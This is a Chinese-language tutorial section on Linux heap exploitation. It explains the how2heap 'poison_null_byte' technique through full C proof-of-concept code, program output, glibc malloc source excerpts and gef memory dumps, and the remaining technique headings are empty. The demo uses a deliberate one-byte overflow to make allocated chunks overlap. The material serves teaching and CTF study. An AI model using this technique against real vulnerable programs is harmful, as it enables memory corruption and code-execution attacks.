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374 lines
16 KiB
Markdown
374 lines
16 KiB
Markdown
# 3.3.6 Linux 堆利用（中）
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- [how2heap](#how2heap)
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- [poison_null_byte](#poison_null_byte)
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- [house_of_lore](#house_of_lore)
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- [overlapping_chunks](#overlapping_chunks)
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- [overlapping_chunks_2](#overlapping_chunks_2)
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- [house_of_force](#house_of_force)
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- [unsorted_bin_attack](#unsorted_bin_attack)
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- [house_of_einherjar](#house_of_einherjar)
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- [house_of_orange](#house_of_orange)
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[下载文件](../src/Others/3.3.5_heap_exploit)
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#### poison_null_byte
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```c
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <stdint.h>
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#include <malloc.h>
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int main() {
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uint8_t *a, *b, *c, *b1, *b2, *d;
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a = (uint8_t*) malloc(0x10);
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int real_a_size = malloc_usable_size(a);
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fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a);
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fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size);
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b = (uint8_t*) malloc(0x100);
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c = (uint8_t*) malloc(0x80);
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fprintf(stderr, "b: %p\n", b);
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fprintf(stderr, "c: %p\n", c);
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uint64_t* b_size_ptr = (uint64_t*)(b - 0x8);
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*(size_t*)(b+0xf0) = 0x100;
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fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr);
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// deal with tcache
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// int *k[10], i;
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// for (i = 0; i < 7; i++) {
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// k[i] = malloc(0x100);
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// }
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// for (i = 0; i < 7; i++) {
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// free(k[i]);
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// }
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free(b);
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uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2;
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fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr);
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a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG"
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fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n");
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fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr);
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fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8))));
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b1 = malloc(0x80);
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memset(b1, 'A', 0x80);
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fprintf(stderr, "We malloc 'b1': %p\n", b1);
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fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr);
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fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4));
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b2 = malloc(0x40);
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memset(b2, 'A', 0x40);
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fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2);
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// deal with tcache
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// for (i = 0; i < 7; i++) {
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// k[i] = malloc(0x80);
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// }
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// for (i = 0; i < 7; i++) {
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// free(k[i]);
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// }
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free(b1);
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free(c);
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fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n");
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d = malloc(0x110);
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fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d);
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fprintf(stderr, "b2 content:%s\n", b2);
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memset(d, 'B', 0xb0);
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fprintf(stderr, "New b2 content:%s\n", b2);
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}
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```
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```
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$ gcc -g poison_null_byte.c
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$ ./a.out
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We allocate 0x10 bytes for 'a': 0xabb010
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'real' size of 'a': 0x18
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b: 0xabb030
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c: 0xabb140
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b.size: 0x111 ((0x100 + 0x10) | prev_in_use)
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After free(b), c.prev_size: 0x110
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We overflow 'a' with a single null byte into the metadata of 'b'
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b.size: 0x100
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Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P))
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We malloc 'b1': 0xabb030
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c.prev_size: 0x110
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fake c.prev_size: 0x70
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We malloc 'b2', our 'victim' chunk: 0xabb0c0
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Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').
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Finally, we allocate 'd', overlapping 'b2': 0xabb030
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b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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```
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该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。
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首先分配三个 chunk，第一个 chunk 类型无所谓，但后两个不能是 fast chunk，因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出，去覆盖 chunk b 的第一个字节，chunk c 的作用是帮助伪造 fake chunk。
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首先是溢出，那么就需要知道一个堆块实际可用的内存大小（因为空间复用，可能会比分配时要大一点），用于获得该大小的函数 `malloc_usable_size` 如下：
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```c
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/*
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------------------------- malloc_usable_size -------------------------
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*/
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static size_t
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musable (void *mem)
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{
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mchunkptr p;
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if (mem != 0)
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{
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p = mem2chunk (mem);
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[...]
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if (chunk_is_mmapped (p))
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return chunksize (p) - 2 * SIZE_SZ;
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else if (inuse (p))
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return chunksize (p) - SIZE_SZ;
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}
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return 0;
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}
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```
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```c
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/* check for mmap()'ed chunk */
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#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
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/* extract p's inuse bit */
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#define inuse(p) \
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((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE)
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/* Get size, ignoring use bits */
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#define chunksize(p) ((p)->size & ~(SIZE_BITS))
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```
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所以 `real_a_size = chunksize(a) - 0x8 == 0x18`。另外需要注意的是程序是通过 next chunk 的 `PREV_INUSE` 标志来判断某 chunk 是否被使用的。
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为了在修改 chunk b 的 size 字段后，依然能通过 unlink 的检查，我们需要伪造一个 c.prev_size 字段，字段的大小是很好计算的，即 `0x100 == (0x111 & 0xff00)`，正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉，chunk b 随后被放到 unsorted bin 中，大小是 0x110。此时的堆布局如下：
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```
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gef➤ x/42gx a-0x10
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0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
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0x603010: 0x0000000000000000 0x0000000000000000
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0x603020: 0x0000000000000000 0x0000000000000111 <-- chunk b [be freed]
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0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
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0x603040: 0x0000000000000000 0x0000000000000000
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0x603050: 0x0000000000000000 0x0000000000000000
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0x603060: 0x0000000000000000 0x0000000000000000
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0x603070: 0x0000000000000000 0x0000000000000000
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0x603080: 0x0000000000000000 0x0000000000000000
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0x603090: 0x0000000000000000 0x0000000000000000
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0x6030a0: 0x0000000000000000 0x0000000000000000
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0x6030b0: 0x0000000000000000 0x0000000000000000
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0x6030c0: 0x0000000000000000 0x0000000000000000
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0x6030d0: 0x0000000000000000 0x0000000000000000
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0x6030e0: 0x0000000000000000 0x0000000000000000
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0x6030f0: 0x0000000000000000 0x0000000000000000
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0x603100: 0x0000000000000000 0x0000000000000000
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0x603110: 0x0000000000000000 0x0000000000000000
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0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size
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0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
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0x603140: 0x0000000000000000 0x0000000000000000
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gef➤ heap bins unsorted
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[ Unsorted Bin for arena 'main_arena' ]
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[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
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→ Chunk(addr=0x603030, size=0x110, flags=PREV_INUSE)
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```
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最关键的一步，通过溢出漏洞覆写 chunk b 的数据：
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```
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gef➤ x/42gx a-0x10
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0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
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0x603010: 0x0000000000000000 0x0000000000000000
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0x603020: 0x0000000000000000 0x0000000000000100 <-- chunk b [be freed]
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0x603030: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
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0x603040: 0x0000000000000000 0x0000000000000000
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0x603050: 0x0000000000000000 0x0000000000000000
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0x603060: 0x0000000000000000 0x0000000000000000
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0x603070: 0x0000000000000000 0x0000000000000000
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0x603080: 0x0000000000000000 0x0000000000000000
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0x603090: 0x0000000000000000 0x0000000000000000
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0x6030a0: 0x0000000000000000 0x0000000000000000
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0x6030b0: 0x0000000000000000 0x0000000000000000
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0x6030c0: 0x0000000000000000 0x0000000000000000
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0x6030d0: 0x0000000000000000 0x0000000000000000
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0x6030e0: 0x0000000000000000 0x0000000000000000
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0x6030f0: 0x0000000000000000 0x0000000000000000
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0x603100: 0x0000000000000000 0x0000000000000000
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0x603110: 0x0000000000000000 0x0000000000000000
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0x603120: 0x0000000000000100 0x0000000000000000 <-- fake c.prev_size
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0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
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0x603140: 0x0000000000000000 0x0000000000000000
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gef➤ heap bins unsorted
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[ Unsorted Bin for arena 'main_arena' ]
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[+] unsorted_bins[0]: fw=0x603020, bk=0x603020
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→ Chunk(addr=0x603030, size=0x100, flags=)
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```
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这时，根据我们上一篇文字中讲到的计算方法：
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- `chunksize(P) == *((size_t*)(b-0x8)) & (~ 0x7) == 0x100`
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- `prev_size (next_chunk(P)) == *(size_t*)(b-0x10 + 0x100) == 0x100`
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可以成功绕过检查。另外 unsorted bin 中的 chunk 大小也变成了 0x100。
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接下来随意分配两个 chunk，malloc 会从 unsorted bin 中划出合适大小的内存返回给用户：
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```
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gef➤ x/42gx a-0x10
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0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
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0x603010: 0x0000000000000000 0x0000000000000000
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0x603020: 0x0000000000000000 0x0000000000000091 <-- chunk b1 <-- fake chunk b
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0x603030: 0x4141414141414141 0x4141414141414141
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0x603040: 0x4141414141414141 0x4141414141414141
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0x603050: 0x4141414141414141 0x4141414141414141
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0x603060: 0x4141414141414141 0x4141414141414141
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0x603070: 0x4141414141414141 0x4141414141414141
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0x603080: 0x4141414141414141 0x4141414141414141
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0x603090: 0x4141414141414141 0x4141414141414141
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0x6030a0: 0x4141414141414141 0x4141414141414141
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0x6030b0: 0x0000000000000000 0x0000000000000051 <-- chunk b2 <-- 'victim' chunk
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0x6030c0: 0x4141414141414141 0x4141414141414141
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0x6030d0: 0x4141414141414141 0x4141414141414141
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0x6030e0: 0x4141414141414141 0x4141414141414141
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0x6030f0: 0x4141414141414141 0x4141414141414141
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0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
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0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
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0x603120: 0x0000000000000020 0x0000000000000000 <-- fake c.prev_size
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0x603130: 0x0000000000000110 0x0000000000000090 <-- chunk c
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0x603140: 0x0000000000000000 0x0000000000000000
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gef➤ heap bins unsorted
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[ Unsorted Bin for arena 'main_arena' ]
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[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
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→ Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
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```
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这里有个很有趣的东西，分配堆块后，发生变化的是 fake c.prev\_size，而不是 c.prev_size。所以 chunk c 依然认为 chunk b 的地方有一个大小为 0x110 的 free chunk。但其实这片内存已经被分配给了 chunk b1。
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接下来是见证奇迹的时刻，我们知道，两个相邻的 small chunk 被释放后会被合并在一起。首先释放 chunk b1，伪造出 fake chunk b 是 free chunk 的样子。然后释放 chunk c，这时程序会发现 chunk c 的前一个 chunk 是一个 free chunk，然后就将它们合并在了一起，并从 unsorted bin 中取出来合并进了 top chunk。可怜的 chunk 2 位于 chunk b1 和 chunk c 之间，被直接无视了，现在 malloc 认为这整块区域都是未分配的，新的 top chunk 指针已经说明了一切。
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```
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gef➤ x/42gx a-0x10
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0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
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0x603010: 0x0000000000000000 0x0000000000000000
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0x603020: 0x0000000000000000 0x0000000000020fe1 <-- top chunk
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0x603030: 0x0000000000603100 0x00007ffff7dd1b78
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0x603040: 0x4141414141414141 0x4141414141414141
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0x603050: 0x4141414141414141 0x4141414141414141
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0x603060: 0x4141414141414141 0x4141414141414141
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0x603070: 0x4141414141414141 0x4141414141414141
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0x603080: 0x4141414141414141 0x4141414141414141
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0x603090: 0x4141414141414141 0x4141414141414141
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0x6030a0: 0x4141414141414141 0x4141414141414141
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0x6030b0: 0x0000000000000090 0x0000000000000050 <-- chunk b2 <-- 'victim' chunk
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0x6030c0: 0x4141414141414141 0x4141414141414141
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0x6030d0: 0x4141414141414141 0x4141414141414141
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0x6030e0: 0x4141414141414141 0x4141414141414141
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0x6030f0: 0x4141414141414141 0x4141414141414141
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0x603100: 0x0000000000000000 0x0000000000000021 <-- unsorted bin
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0x603110: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer
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0x603120: 0x0000000000000020 0x0000000000000000
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0x603130: 0x0000000000000110 0x0000000000000090
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0x603140: 0x0000000000000000 0x0000000000000000
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gef➤ heap bins unsorted
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[ Unsorted Bin for arena 'main_arena' ]
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[+] unsorted_bins[0]: fw=0x603100, bk=0x603100
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→ Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
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```
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chunk 合并的过程如下，首先该 chunk 与前一个 chunk 合并，然后检查下一个 chunk 是否为 top chunk，如果不是，将合并后的 chunk 放回 unsorted bin 中，否则，合并进 top chunk：
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```c
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/* consolidate backward */
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if (!prev_inuse(p)) {
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prevsize = p->prev_size;
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size += prevsize;
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p = chunk_at_offset(p, -((long) prevsize));
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unlink(av, p, bck, fwd);
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}
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if (nextchunk != av->top) {
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/*
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Place the chunk in unsorted chunk list. Chunks are
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not placed into regular bins until after they have
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been given one chance to be used in malloc.
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*/
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[...]
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}
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/*
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If the chunk borders the current high end of memory,
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consolidate into top
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*/
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else {
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size += nextsize;
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set_head(p, size | PREV_INUSE);
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av->top = p;
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check_chunk(av, p);
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}
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```
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接下来，申请一块大空间，大到可以把 chunk b2 包含进来，这样 chunk b2 就完全被我们控制了。
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```
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gef➤ x/42gx a-0x10
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0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a
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0x603010: 0x0000000000000000 0x0000000000000000
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0x603020: 0x0000000000000000 0x0000000000000121 <-- chunk d
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0x603030: 0x4242424242424242 0x4242424242424242
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0x603040: 0x4242424242424242 0x4242424242424242
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0x603050: 0x4242424242424242 0x4242424242424242
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0x603060: 0x4242424242424242 0x4242424242424242
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0x603070: 0x4242424242424242 0x4242424242424242
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0x603080: 0x4242424242424242 0x4242424242424242
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0x603090: 0x4242424242424242 0x4242424242424242
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0x6030a0: 0x4242424242424242 0x4242424242424242
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0x6030b0: 0x4242424242424242 0x4242424242424242 <-- chunk b2 <-- 'victim' chunk
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0x6030c0: 0x4242424242424242 0x4242424242424242
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0x6030d0: 0x4242424242424242 0x4242424242424242
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0x6030e0: 0x4141414141414141 0x4141414141414141
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0x6030f0: 0x4141414141414141 0x4141414141414141
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0x603100: 0x0000000000000000 0x0000000000000021 <-- small bins
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0x603110: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- fd, bk pointer
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0x603120: 0x0000000000000020 0x0000000000000000
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0x603130: 0x0000000000000110 0x0000000000000090
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0x603140: 0x0000000000000000 0x0000000000020ec1 <-- top chunk
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gef➤ heap bins small
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[ Small Bins for arena 'main_arena' ]
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[+] small_bins[1]: fw=0x603100, bk=0x603100
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→ Chunk(addr=0x603110, size=0x20, flags=PREV_INUSE)
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```
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还有个事情值得注意，在分配 chunk d 时，由于在 unsorted bin 中没有找到适合的 chunk，malloc 就将 unsorted bin 中的 chunk 都整理回各自的 bins 中了，这里就是 small bins。
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最后，继续看 libc-2.26 上的情况，还是一样的，处理好 tchache 就可以了，把两种大小的 tcache bin 都占满。
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heap-buffer-overflow，但不知道为什么，加了内存检测参数后，real size 只能是正常的 0x10 了。
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```
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$ gcc -fsanitize=address -g poison_null_byte.c
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$ ./a.out
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We allocate 0x10 bytes for 'a': 0x60200000eff0
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'real' size of 'a': 0x10
|
||
b: 0x611000009f00
|
||
c: 0x60c00000bf80
|
||
=================================================================
|
||
==2369==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000009ef8 at pc 0x000000400be0 bp 0x7ffe7826e9a0 sp 0x7ffe7826e990
|
||
READ of size 8 at 0x611000009ef8 thread T0
|
||
#0 0x400bdf in main /home/firmy/how2heap/poison_null_byte.c:22
|
||
#1 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||
#2 0x400978 in _start (/home/firmy/how2heap/a.out+0x400978)
|
||
|
||
0x611000009ef8 is located 8 bytes to the left of 256-byte region [0x611000009f00,0x61100000a000)
|
||
allocated by thread T0 here:
|
||
#0 0x7f47d9425602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
|
||
#1 0x400af1 in main /home/firmy/how2heap/poison_null_byte.c:15
|
||
#2 0x7f47d8fe382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||
```
|
||
|
||
#### house_of_lore
|
||
|
||
#### overlapping_chunks
|
||
|
||
#### overlapping_chunks_2
|
||
|
||
#### house_of_force
|
||
|
||
#### unsorted_bin_attack
|
||
|
||
#### house_of_einherjar
|
||
|
||
#### house_of_orange
|